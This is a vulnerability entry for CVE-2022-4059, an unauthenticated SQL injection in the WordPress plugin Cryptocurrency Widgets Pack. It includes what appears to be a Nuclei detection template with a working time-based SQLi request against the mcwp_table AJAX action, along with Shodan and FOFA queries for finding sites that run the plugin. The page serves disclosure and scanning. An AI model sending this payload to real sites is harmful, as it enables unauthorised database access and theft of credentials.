CVE-2022-4059: Cryptocurrency Widgets Pack < 2.0 - SQL Injection

2025-08-01 Cryptocurrency Widgets Pack PoC Public

Description

The plugin does not sanitise and escape some parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.

PoC

id: CVE-2022-4059

info:
  name: Cryptocurrency Widgets Pack < 2.0 - SQL Injection
  author: r3Y3r53
  severity: critical
  description: |
    The plugin does not sanitise and escape some parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.
  impact: |
    Unauthenticated attackers can execute time-based blind SQL injection through the columns[0][name] parameter in the mcwp_table AJAX action, potentially extracting sensitive database information including cryptocurrency data, user credentials, and plugin configuration.
  remediation: |
    Fixed in version 2.0
  reference:
    - https://wpscan.com/vulnerability/d94bb664-261a-4f3f-8cc3-a2db8230895d
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4059
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-4059
    cwe-id: CWE-89
    epss-score: 0.04795
    epss-percentile: 0.91482
    cpe: cpe:2.3:a:blocksera:cryptocurrency_widgets_pack:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: blocksera
    product: cryptocurrency_widgets_pack
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/cryptocurrency-widgets-pack/
    fofa-query: body=/wp-content/plugins/cryptocurrency-widgets-pack/
    publicwww-query: /wp-content/plugins/cryptocurrency-widgets-pack/
  tags: time-based-sqli,cve,cve2022,wp,wp-plugin,wordpress,wpscan,sqli,blocksera,vuln,vkev

http:
  - raw:
      - |
        @timeout: 20s
        GET /wp-admin/admin-ajax.php?action=mcwp_table&mcwp_id=1&order[0][column]=0&columns[0][name]=name+AND+(SELECT+1+FROM+(SELECT(SLEEP(7)))aaaa)--+- HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/cryptocurrency-widgets-pack/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration_1>=7'
          - 'len(body_1) == 0'
          - 'status_code_1 == 302'
          - 'contains(body_2, "Cryptocurrency Widgets Pack")'
        condition: and
# digest: 4b0a0048304602210085c67ad51000afe047caf7364ebb0792e26822efec201b2e3d4b0b687ea18e1e02210096aabd1c44bf06046066812c89ae4ff0a0bb8f24f28b0ce160822ddcae088bb4:922c64590222798bb761d5b6d8e72950

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